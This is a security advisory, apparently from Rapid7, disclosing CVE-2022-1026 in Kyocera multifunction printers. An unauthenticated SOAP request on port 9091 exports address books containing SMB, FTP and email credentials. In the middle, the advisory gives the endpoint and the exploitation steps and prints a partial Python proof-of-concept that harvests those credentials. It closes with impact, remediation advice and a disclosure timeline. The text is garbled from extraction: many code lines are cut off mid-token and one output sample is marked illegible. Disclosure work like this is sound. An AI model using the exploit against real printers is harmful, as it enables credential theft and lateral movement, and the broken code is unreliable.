



CVE-2022-1026: Kyocera Net View Address Book Exposure

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Rapid7 researcher Aaron Herndon has discovered that several models of Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function. This

vulnerability is an instance of CWE-

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Insufficiently Protected Credentials,
and has an estimated base CVSS 3.1
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given that the credentials exposed
are used to authenticate to other
endpoints, such as external FTP and
SMB servers.

Product description

Many Kyocera multifunction printers
(MFPs) can be administered using
Net Viewer

(<https://www.kyoceradocumentsolutions.us/en/products/software/KYOCERANETVIEWER.html>).

Two such supported and tested
models of MFPs are the ECOSYS
M2640idw

(<https://www.kyoceradocumentsolutions.us/en/products/mfp/ECOSYSM2640IDW.html>)

and the TASKalfa 406ci

([https://www.kyoceradocumentsolutions.com/hk/en/products/mfp/taskalfa-](https://www.kyoceradocumentsolutions.com/hk/en/products/mfp/taskalfa-406ci/)

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Exploitation

Kyocera exposes a SOAP API on port 9091/TCP used for remote printer management via the Net Viewer thick client application. While the API supports authentication, and the thick client performs this authentication, while capturing the SOAP requests, it was observed that the specific request to extract an address book, `POST /ws/km-wsdl/setting/address_book` does not require an authenticated session to submit. Those address books, in turn, contain stored email addresses, usernames, and passwords, which are normally used to store scanned documents on external services or send to users over email.

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get_personal_address_list, using the same POST endpoint, as shown below.

This will return the printer address book with all configured email addresses, FTP credentials, and network SMB file share credentials stored for user scanning to network shares, in fairly readable XML:

[illegible]

Finally, credentials can be harvested from the provided login_password fields:

```
>>>ook:email_information><kmaddrbook:address></kmaddrbook:address><
><kmaddrbook:login_password:*****</kmaddrbook:login_password></
><kmaddrbook:fax_number><kmaddrbook:ecm>OFF</kmaddrbook:ecm><km
```

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A proof-of-concept (PoC) Python exploit is shown below. Note the `time.sleep(5)` call, which allows the printer time to first generate the address book.

PoC Python code:

```
"""
```

Kyocera printer exploit

Extracts sensitive data stored in

- *email addresses

- *SMB file share credentials us

- *FTP credentials

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Date: 11/12/2021

Tested versions:

- * ECOSYS M2640idw

- * TASKalfa 406ci

- *

Usage:

python3 getKyoceraCreds.py printer

```
"""
```

```
import requests
```

```
import xmltodict
```

```
import warnings
```

```
import sys
```

```
import time
```

```
warnings.filterwarnings("ignore")
```

```
url = "https://{ }:9091/ws/km-wsdl/"
```

```
headers = {'content-type': 'applic
```

```
# Submit an unauthenticated request
```

```
body = """<?xml version="1.0" encod
```

```
response = requests.post(url,data=
```

```
strResponse = response.content.dec
```

```
#print(strResponse)
```

```
parsed = xmltodict.parse(strRespor
```

```
# The SOAP request returns XML wit
```

```
getNumber = parsed['SOAP-ENV:Envel
```

```
body = """<?xml version="1.0" encod
```

```

print("Obtained address book object")
time.sleep(5)
print("Submitting request to retrieve")

response = requests.post(url,data=
strResponse = response.content.decode('utf-8')
#print(strResponse)

parsed = xmltodict.parse(strResponse)
print(parsed['SOAP-ENV:Envelope']['Body']['getAddressBookResponse']['getAddressBookResponseResult'])

print("\n\nObtained address book.")

```

Impact

The most likely attack scenario involving this vulnerability would be an attacker, who is already inside the LAN perimeter, leveraging their ability to communicate directly with affected printers to learn the usernames and passwords to stored SMB and FTP file servers. In the case of SMB credentials, those might then be leveraged to establish a presence in the target networks' Windows domain.

Depending on how those external services are administered, the

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prior (and future) print/scan jobs originating from the targeted printer, but the primary value of this vulnerability is lateral movement within the network. Note that printer credentials are not themselves at risk (except in the case of reused passwords, of course), but credentials to services the printer is normally expected to store scanned documents are exposed via this vulnerability.

Remediation

First and foremost, MFPs should under no circumstance be able to be reached directly across the internet. While this is true for most LAN-centric technologies, this is especially true for printers and scanners, which are popular targets for opportunistic attackers. These devices tend to only support weak authentication mechanisms, even in the best of cases, and are rarely kept up to date with firmware updates to address

security issues. So, as long as only

trusted users can reach these networked printers, the opportunity for attack is limited only to insiders and attackers who have otherwise managed to already establish a local network presence.

At the time of this disclosure, there is no patch or updated firmware available for affected devices. The version information displayed on a vulnerable ECOSYS M2640idw

(<https://www.kyoceradocumentsolutions.us/en/products/mfp/ECOSYSM2640IDW.html>)

device is shown as below, and we believe the proper version number for this software is the middle version listed,
"2S0_1000.005.0012S5_2000.002.505."

Software Version	
System :	2S5_2000.002.505
Engine :	2S0_1000.005.001
Panel :	2S5_7000.002.503

In light of the lack of patching, Kyocera customers are advised to disable the SOAP interface running on port 9091/TCP of affected MFPs.

Details on precisely how to disable

this service can be found in the

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specific MFP model. If SOAP access is required over the network for normal operation, users should ensure that address books do not contain sensitive, unchanging passwords.

One possible configuration that would make this vulnerability moot would be to only allow public, anonymous FTP or SMB write access (but not read access) for scanned document storage, and another process to move those documents securely across the network to their final destination. The exposure of email addresses would remain, but this is of considerably less value to most attackers.

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- **Nov 2021:** Issue identified by Aaron Herndon of Rapid7
- **Tue Nov 16, 2021:** Contacted

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